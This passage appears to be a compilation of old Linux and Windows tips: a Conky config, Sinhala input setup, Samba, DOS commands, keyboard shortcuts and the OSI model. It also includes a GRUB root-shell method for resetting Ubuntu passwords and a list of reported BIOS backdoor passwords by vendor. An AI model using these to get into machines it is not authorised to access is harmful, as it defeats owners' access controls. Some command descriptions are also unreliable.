${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}
${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}
${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}

${color orange}MEMORY / DISK ${hr 2}$color
RAM: $memperc% ${membar 6}$color
Swap: $swapperc% ${swapbar 6}$color

Root: ${fs_free_perc /}% ${fs_bar 6 /}$color
hda1: ${fs_free_perc /media/hda1}% ${fs_bar 6 /media/hda1}$color
hdb3: ${fs_free_perc /media/hdb3}% ${fs_bar 6 /media/hdb3}

${color orange}NETWORK (${addr eth0}) ${hr 2}$color
Down: $color${downspeed eth0} k/s ${alignr}Up: ${upspeed eth0} k/s
${downspeedgraph eth0 25,140 000000 ff0000} ${alignr}${upspeedgraph eth0
25,140 000000 00ff00}$color
Total: ${totaldown eth0} ${alignr}Total: ${totalup eth0}
Inbound: ${tcp_portmon 1 32767 count} Outbound: ${tcp_portmon 32768
61000 count}${alignr}Total: ${tcp_portmon 1 65535 count}

${color orange}LOGGING ${hr 2}$color
${execi 30 tail -n3 /var/log/messages | fold -w50}

${color orange}FORTUNE ${hr 2}$color
${execi 120 fortune -s | fold -w50}

You can also extract the sample file using the following command

zcat /usr/share/doc/conky/examples/conkyrc.sample.gz > ~/.conkyrc

If the network connections graph does not work, you will have to change all “eth0″ references to “ppp0″ (for modem) or “ath0″ (for other devices).

Add dbe module to /etc/X11/xorg.conf to reduce flickering.

sudo vi /etc/X11/xorg.conf

find the section titled Section “Module”, and add the following line

Load “dbe”

sinhala unicode for ubuntu

Unfortunately the Sinhala font was first added to Ubuntu 8.10 and is
unavailable in the Ubuntu 8.04:

http://packages.ubuntu.com/search?keywords=ttf-sinhala-lklug

Your options are:

A) Upgrade to Ubuntu 8.10 or newer version of Ubuntu and then follow the
instructions at: http://sinhala.sourceforge.net/

B) Download the ttf-sinhala-lklug deb package from Ubuntu 8.10 and
install it on Ubuntu 8.04. Then follow the rest of the instructions at:
http://sinhala.sourceforge.net/


then run this command in terminal

sudo apt-get install scim scim-gtk2-immodule im-switch scim-m17n m17n-db
m17n-contrib language-pack-si-base

From your user account (i.e. not root) run:

rm -f ~/.xinput.d/* ; im-switch -z all_ALL -s scim-immodule

Logout and login again. Environment variables need to be set/updated (NO NEED TO REBOOT)

How to test

1. Visit si.wikipedia.org and see if the Sinhala letters render correctly.

2. Copy and paste some of the content from Sinhala Wikipedia to Open Office Writer. Then highlight the Sinhala text and choose the LKLUG font to display them.

3. To test typing, press Control-space whilst you are running a GNOME application. Then select one of the Sinhala input methods.

Reset Your Forgotten Ubuntu Password in 2 Minutes or Less

If you’ve ever forgotten your password, you aren’t alone… it’s probably one of the most common tech support problems I’ve encountered over the years. Luckily if you are using Ubuntu they made it incredibly easy to reset your password.

All it takes is adjusting the boot parameters slightly and typing a command or two, but we’ll walk you through it.

Reset Your Ubuntu Password

Reboot your computer, and then as soon as you see the GRUB Loading screen, make sure to hit the ESC key so that you can get to the menu.

Root Shell – Easy Method

If you have the option, you can choose the “recovery mode” item on the menu, usually found right below your default kernel option.

Then choose “Drop to root shell prompt” from this menu.

This should give you a root shell prompt.

Alternate Root Shell Method

If you don’t have the recovery mode option, this is the alternate way to manually edit the grub options to allow for a root shell.

First you’ll want to make sure to choose the regular boot kernel that you use (typically just the default one), and then use the “e” key to choose to edit that boot option.

Now just hit the down arrow key over to the “kernel” option, and then use the “e” key to switch to edit mode for the kernel option.

You’ll first be presented with a screen that looks very similar to this one:

You’ll want to remove the “ro quiet splash” part with the backspace key, and then add this onto the end:

rw init=/bin/bash

Once you hit enter after adjusting the kernel line, you’ll need to use the B key to choose to boot with that option.

At this point the system should boot up very quickly to a command prompt.

Changing the Actual Password

You can use the following command to reset your password:

passwd

For example my username being geek I used this command:

passwd geek

After changing your password, use the following commands to reboot your system. (The sync command makes sure to write out data to the disk before rebooting)

sync
reboot –f

I found that the –f parameter was necessary to get the reboot command to work for some reason. You could always hardware reset instead, but make sure to use the sync command first.

And now you should be able to login without any issues.

What is Samba and when do you need it?

To make a long story short: The Samba project was started in 1992 by Andrew Tridgell. Samba is a set of tools to share files and printers with computers running Microsoft Windows. It implements the SMB network protocol, which is the heart of Windows networking.

Samba can be used to:

• Act as a server for Windows (or Samba) clients: share folders and printers, including PDF pseudo-printers so all the computers in your network may write PDF files
• Act as a domain controller in a Windows network (authenticating users, etc.)
• Do some more complex things, such as using a Windows domain controller to authenticate the users of a Linux/UNIX machine

Samba is freely available under the GNU General Public License. More information about Samba can be found at http://www.samba.org.

Back to top

What to install

The samba package is a meta-package intended to be installed on servers. Clients do not need this meta-package. It is not necessary for clients to do any of the following:

• Access shared folders, drives and printers on a Windows computer (that is, act as a client with Windows servers). To do this, you only need the smbfs plugin. See MountWindowsSharesPermanently for more information.

• Have your Windows computer use (via a network) a printer that is attached to a Linux computer. CUPS can be configured to make the printer accessible to the network.

• Share directories between two Linux computers. You can use NFS or setup an SSH server on one computer and access it from other computers using an scp or sftp client, or Places > Connect to... > SSH in Ubuntu. See https://help.ubuntu.com/community/SSHHowto

Server

If you wish your computer to act as a Samba server (act as a file or printer server) then install the samba package (see InstallingSoftware for details):

sudo aptitude install samba

Client

The samba package is not needed on clients. Install smbfs instead (see InstallingSoftware for details):

sudo aptitude install smbfs

If you want to connect to a Samba server (Windows server or an Ubuntu server running Samba) you have two options, you can use the smbclient command or you can directly mount the samba file system via smbfs.

Command line

Ubuntu will connect to a Samba server out of the box via smbclient. This is a similar to a FTP connection. Once connected, you can use commands such as ls, cd , put, and get.

smbfs

This package allows clients to mount Samba file shares, allowing them to act as local disks. Most people will prefer this method.

Back to top

Server Configuration

Ubuntu 8.04 And Later

For Ubuntu 8.04 (Hardy) and later, shared folders are created directly from the folder. Browse to the location of the folder you would like to share, right-click the folder, and choose Sharing Options. Click the Share this folder check box, and click Install Services. Enter your password, and the Samba server packages will be downloaded and installed.

Ubuntu 7.10 And Ubuntu 7.04

On Ubuntu 7.04 (Feisty) and Ubuntu 7.10 (Gutsy), open the Shared Folders configuration from System -> Administration -> Shared Folders

Ubuntu 6.10 And Earlier

Start the network configuration from System -> Administration -> Network

You will need the General tab, in the middle.

Fill in your settings:

Host Settings

Hostname:       
Domain name:    

Windows Networking

• Check Enable Windows networking

Description:       
Domain/Workgroup:  

If you want, also check WINS server and enter the name or IP address of your WINS server. If you do not know what to put in any field, ask your network administrator. Typical settings for the workgroup field are "MSHOME" or "WORKGROUP".

The important settings here are your hostname, which should be filled in already, and the domain/workgroup. Press OK on both windows and the first part of cooperating with Windows machines is done.

You may also edit the file /etc/samba/smb.conf manually, and then use /etc/init.d/samba restart to restart the Samba service. You must restart Samba every time you manually change /etc/samba/smb.conf.

Note: It is possible to not include a "Windows Networking section and continue.

Command Prompt

Code:
ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND Causes MS-DOS to look in other directories when editing a file or running a command.
ARP Displays, adds, and removes arp information from network devices.
ASSIGN Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it's original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications

Internet Explorer Shortcuts

CTRL+A - Select all items on the current page
CTRL+D - Add the current page to your Favorites
CTRL+E - Open the Search bar
CTRL+F - Find on this page
CTRL+H - Open the History bar
CTRL+I - Open the Favorites bar
CTRL+N - Open a new window
CTRL+O - Go to a new location
CTRL+P - Print the current page or active frame
CTRL+S - Save the current page
CTRL+W - Close current browser window
CTRL+ENTER - Adds the http://www. (url) .com
SHIFT+CLICK - Open link in new window
BACKSPACE - Go to the previous page
ALT+HOME - Go to your Home page
HOME - Move to the beginning of a document
TAB - Move forward through items on a page
END - Move to the end of a document
ESC - Stop downloading a page
F11 - Toggle full-screen view
F5 - Refresh the current page
F4 - Display list of typed addresses
F6 - Change Address bar and page focus
ALT+RIGHT ARROW - Go to the next page
SHIFT+CTRL+TAB - Move back between frames
SHIFT+F10 - Display a shortcut menu for a link
SHIFT+TAB - Move back through the items on a page
CTRL+TAB - Move forward between frames
CTRL+C - Copy selected items to the clipboard
CTRL+V - Insert contents of the clipboard
ENTER - Activate a selected link
HOME - Move to the beginning of a document
END - Move to the end of a document
F1 - Display Internet Explorer Help

Windows XP Shortcuts

ALT+ (ALT+hyphen) displays the Multiple Document Interface (MDI) child window's System menu
ALT+ENTER View properties for the selected item
ALT+ESC Cycle through items in the order they were opened
ALT+F4 Close the active item, or quit the active program
ALT+SPACEBAR Display the System menu for the active window
ALT+TAB Switch between open items
ALT+Underlined letter Display the corresponding menu
BACKSPACE View the folder one level up in My Computer or Windows Explorer
CTRL+A Select all
CTRL+B Bold
CTRL+C Copy
CTRL+I Italics
CTRL+O Open an item
CTRL+U Underline
CTRL+V Paste
CTRL+X Cut
CTRL+Z Undo
CTRL+F4 Close the active document
CTRL while dragging Copy selected item
CTRL+SHIFT while dragging Create shortcut to selected iteM
CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
ESC Cancel the current task
F1 Displays Help
F2 Rename selected item
F3 Search for a file or folder
F4 Display the Address bar list in My Computer or Windows Explorer
F5 Refresh the active window
F6 Cycle through screen elements in a window or on the desktop
F10 Activate the menu bar in the active program
SHIFT+F10 Display the shortcut menu for the selected item
CTRL+ESC Display the Start menu
SHIFT+CTRL+ESC Launches Task Manager
SHIFT when you insert a CD Prevent the CD from automatically playing
WIN Display or hide the Start menu
WIN+BREAK Display the System Properties dialog box
WIN+D Minimizes all Windows and shows the Desktop
WIN+E Open Windows Explorer
WIN+F Search for a file or folder
WIN+F+CTRL Search for computers
WIN+L Locks the desktop
WIN+M Minimize or restore all windows
WIN+R Open the Run dialog box
WIN+TAB Switch between open items

Introduction to BIOS Passwords

The best method to reset a BIOS password depends on what BIOS the computer has. Common BIOS's include AMI, Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are the most common.

Some BIOS's allow you to require a password be entered before the system will boot. Some BIOS's allow you to require a password to be entered before the BIOS setup may be accessed.

The general categories of solutions to reset a BIOS password are:

* Using a Backdoor BIOS Password
* Resetting the BIOS Password using Software
* Resetting the BIOS Password using Hardware
* Vendor Specific Solutions for resetting the BIOS Password

Using a Backdoor BIOS Password

Some BIOS manufacturers implement a backdoor password. The backdoor password is a BIOS password that works, no matter what the user sets the BIOS password to. These passwords are typically used for testing and maintenance. Manufacturers typically change the backdoor BIOS passwords from time to time.
AMI Backdoor BIOS Passwords

Reported AMI backdoor BIOS passwords include A.M.I., AAAMMMIII, AMI?SW , AMI_SW, BIOS, CONDO, HEWITT RAND, LKWPETER, MI, and PASSWORD.
Award Backdoor BIOS Passwords

One reported Award backdoor BIOS password is eight spaces. Other reported Award backdoor BIOS passwords include 01322222, 589589, 589721, 595595, 598598 , ALFAROME, ALLY, ALLy, aLLY, aLLy, aPAf, award, AWARD PW, AWARD SW, AWARD?SW, AWARD_PW, AWARD_SW, AWKWARD, awkward, BIOSTAR, CONCAT, CONDO, Condo, condo, d8on, djonet, HLT, J256, J262, j262, j322, j332, J64, KDD, LKWPETER, Lkwpeter, PINT, pint, SER, SKY_FOX, SYXZ, syxz, TTPTHA, ZAAAADA, ZAAADA, ZBAAACA, and ZJAAADC.
Phoenix Backdoor BIOS Passwords

Reported Phoenix BIOS backdoor passwords include BIOS, CMOS, phoenix, and PHOENIX.
Backdoor BIOS Passwords from Other Manufacturers

Reported BIOS backdoor passwords for other manufacturers include:

Manufacturer BIOS Password
VOBIS & IBM merlin
Dell Dell
Biostar Biostar
Compaq Compaq
Enox xo11nE
Epox central
Freetech Posterie
IWill iwill
Jetway spooml
Packard Bell bell9
QDI QDI
Siemens SKY_FOX
SOYO SY_MB
TMC BIGO
Toshiba Toshiba

Remember that what you see listed may not be the actual backdoor BIOS password, this BIOS password may simply have the same checksum as the real backdoor BIOS password. For Award BIOS, this checksum is stored at F000:EC60.

OSI model

Introduction

The Open Systems Interconnection (OSI) model is a reference tool for understanding data communications between any two networked systems. It divides the communications processes into seven layers. Each layer both performs specific functions to support the layers above it and offers services to the layers below it. The three lowest layers focus on passing traffic through the network to an end system. The top four layers come into play in the end system to complete the process.

An Overview of the OSI Model

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A networking model offers a generic means to separate computer networking functions into multiple layers. Each of these layers relies on the layers below it to provide supporting capabilities and performs support to the layers above it. Such a model of layered functionality is also called a “protocol stack” or “protocol suite”. Protocols, or rules, can do their work in either hardware or software or, as with most protocol stacks, in a combination of the two. The nature of these stacks is that the lower layers do their work in hardware or firmware (software that runs on specific hardware chips) while the higher layers work in software. The Open System Interconnection model is a seven-layer structure that specifies the requirements for communications between two computers. The ISO (International Organization for Standardization) standard 7498-1 defined this model. This model allows all network elements to operate together, no matter who created the protocols and what computer vendor supports them.

The main benefits of the OSI model include the following:

• Helps users understand the big picture of networking
• Helps users understand how hardware and software elements function together
• Makes troubleshooting easier by separating networks into manageable pieces
• Defines terms that networking professionals can use to compare basic functional relationships on different networks
• Helps users understand new technologies as they are developed
• Aids in interpreting vendor explanations of product functionality

Layer 1 – The Physical Layer

The physical layer of the OSI model defines connector and interface specifications, as well as the medium (cable) requirements. Electrical, mechanical, functional, and procedural specifications are provided for sending a bit stream on a computer network.

Components of the physical layer include:

• Cabling system components
• Adapters that connect media to physical interfaces
• Connector design and pin assignments
• Hub, repeater, and patch panel specifications
• Wireless system components
• Parallel SCSI (Small Computer System Interface)
• Network Interface Card (NIC)

In a LAN environment, Category 5e UTP (Unshielded Twisted Pair) cable is generally used for the physical layer for individual device connections. Fiber optic cabling is often used for the physical layer in a vertical or riser backbone link. The IEEE, EIA/TIA, ANSI, and other similar standards bodies developed standards for this layer.

Note: The Physical Layer of the OSI model is only part of a LAN (Local Area Network).

Layer 2 – The Data link Layer

Layer 2 of the OSI model provides the following functions:

• Allows a device to access the network to send and receive messages
• Offers a physical address so a device’s data can be sent on the network
• Works with a device’s networking software when sending and receiving messages
• Provides error-detection capability

Common networking components that function at layer 2 include:

• Network interface cards
• Ethernet and Token Ring switches
• Bridges

NICs have a layer 2 or MAC address. A switch uses this address to filter and forward traffic, helping relieve congestion and collisions on a network segment.

Bridges and switches function in a similar fashion; however, bridging is normally a software program on a CPU, while switches use Application-Specific Integrated Circuits (ASICs) to perform the task in dedicated hardware, which is much faster.

Layer 3 – Network Layer

Layer 3, the network layer of the OSI model, provides an end-to-end logical addressing system so that a packet of data can be routed across several layer 2 networks (Ethernet, Token Ring, Frame Relay, etc.). Note that network layer addresses can also be referred to as logical addresses.

Initially, software manufacturers, such as Novell, developed proprietary layer 3 addressing. However, the networking industry has evolved to the point that it requires a common layer 3 addressing system. The Internet Protocol (IP) addresses make networks easier to both set up and connect with one another. The Internet uses IP addressing to provide connectivity to millions of networks around the world.

To make it easier to manage the network and control the flow of packets, many organizations separate their network layer addressing into smaller parts known as subnets. Routers use the network or subnet portion of the IP addressing to route traffic between different networks. Each router must be configured specifically for the networks or subnets that will be connected to its interfaces.

Routers communicate with one another using routing protocols, such as Routing Information Protocol (RIP) and Open version of Shortest Path First (OSPF), to learn of other networks that are present and to calculate the best way to reach each network based on a variety of criteria (such as the path with the fewest routers). Routers and other networked systems make these routing decisions at the network layer

When passing packets between different networks, it may become necessary to adjust their outbound size to one that is compatible with the layer 2 protocol that is being used. The network layer accomplishes this via a process known as fragmentation. A router’s network layer is usually responsible for doing the fragmentation. All reassembly of fragmented packets happens at the network layer of the final destination system.

Two of the additional functions of the network layer are diagnostics and the reporting of logical variations in normal network operation. While the network layer diagnostics may be initiated by any networked system, the system discovering the variation reports it to the original sender of the packet that is found to be outside normal network operation.

The variation reporting exception is content validation calculations. If the calculation done by the receiving system does not match the value sent by the originating system, the receiver discards the related packet with no report to the sender. Retransmission is left to a higher layer’s protocol.

Some basic security functionality can also be set up by filtering traffic using layer 3 addressing on routers or other similar devices.

Layer 4 – The Transport Layer

Layer 4, the transport layer of the OSI model, offers end-to-end communication between end devices through a network. Depending on the application, the transport layer either offers reliable, connection-oriented or connectionless, best-effort communications.

Some of the functions offered by the transport layer include:

• Application identification
• Client-side entity identification
• Confirmation that the entire message arrived intact
• Segmentation of data for network transport
• Control of data flow to prevent memory overruns
• Establishment and maintenance of both ends of virtual circuits
• Transmission-error detection
• Realignment of segmented data in the correct order on the receiving side
• Multiplexing or sharing of multiple sessions over a single physical link

The most common transport layer protocols are the connection-oriented TCP Transmission Control Protocol (TCP) and the connectionless UDP User Datagram Protocol (UDP).







Layer 5 – The Session Layer

Layer 5, the session layer, provides various services, including tracking the number of bytes that each end of the session has acknowledged receiving from the other end of the session. This session layer allows applications functioning on devices to establish, manage, and terminate a dialog through a network. Session layer functionality includes:

• Virtual connection between application entities
• Synchronization of data flow
• Creation of dialog units
• Connection parameter negotiations
• Partitioning of services into functional groups
• Acknowledgements of data received during a session
• Retransmission of data if it is not received by a device

Layer 6 – The Presentation Layer

Layer 6, the presentation layer, is responsible for how an application formats the data to be sent out onto the network. The presentation layer basically allows an application to read (or understand) the message. Examples of presentation layer functionality include:

• Encryption and decryption of a message for security
• Compression and expansion of a message so that it travels efficiently
• Graphics formatting
• Content translation
• System-specific translation

Layer 7 – The Application Layer

Layer 7, the application layer, provides an interface for the end user operating a device connected to a network. This layer is what the user sees, in terms of loading an application (such as Web browser or e-mail); that is, this application layer is the data the user views while using these applications. Examples of application layer functionality include:

• Support for file transfers
• Ability to print on a network
• Electronic mail
• Electronic messaging
• Browsing the World Wide Web

Layers 8,9 and 10

Whether a designed to be a humorous extension or a secret technician code, layers 8, 9, and 10 are not officially part of the OSI model. They refer to the non-technical aspects of computer networking that often interfere with the smooth design and operation of the network.

Layer 8 is usually considered the “office politics” layer. In most organizations, there is at least one group who is favored, at least temporarily, by management and receives “special” treatment. When it comes to networking, this may mean that this group always has the latest and/or fastest equipment and highest speed network links.

Layer 9 is generally referred to as the “blinders” layer. This layer applies to organizational managers who have already decided, usually with little or no current information, to dictate a previously successful network plan. They may say things such as:

“It worked in my last company, so we will use it here.”

“Everybody says this is the right solution.”

“I read in an airline magazine that this was the best way to do it so that is what we will do.”

What these managers seem to forget is that they are paying a highly qualified staff to provide them with useful information. These managers bypass planning in order to make a quick decision.

Layer 10, the “user” layer, is in every organization. But users are much more than a layer. While they are one of the reasons the network exists, users can also be a big part of the need for troubleshooting. This is especially true when the users have computers at home and have decided to “help” the network administrator or manager by making changes to the network without consulting the network staff. Equally challenging is the user who “didn’t do anything” when the network segment in his/her immediate vicinity suddenly stopped working. In these cases, the layer 10 identification coincides with layer 10 troubles (and the “ID10T” label some technicians have used).

TCP/IP Model Overview

The OSI model describes computer networking in seven layers. While there have been implementations of networking protocol that use those seven layers, most networks today use TCP/IP. But, networking professionals continue to describe networking functions in relation to the OSI layer that performs those tasks.

The TCP/IP model uses four layers to perform the functions of the seven-layer OSI model.

The network access layer is functionally equal to a combination of OSI physical and data link layers (1 and 2). The Internet layer performs the same functions as the OSI network layer (3).

Things get a bit more complicated at the host-to-host layer of the TCP/IP model. If the host-to-host protocol is TCP, the matching functionality is found in the OSI transport and session layers (4 and 5). Using UDP equates to the functions of only the transport layer of the OSI model.

The TCP/IP process layer, when used with TCP, provides the functions of the OSI model’s presentation and application layers (6 and 7). When the TCP/IP transport layer protocol is UDP, the process layer’s functions are equivalent to OSI session, presentation, and application layers (5, 6, and 7).

Equipment at the Layers

Some of the layers use equipment to support the identified functions. Hub related activity is “Layer One”. The naming of some devices designates the functional layer such as “Layer Two Switch” or “Layer Three Switch”. Router functions focus on “Layer Three”. User workstations and servers are often identified with “Layer Seven”.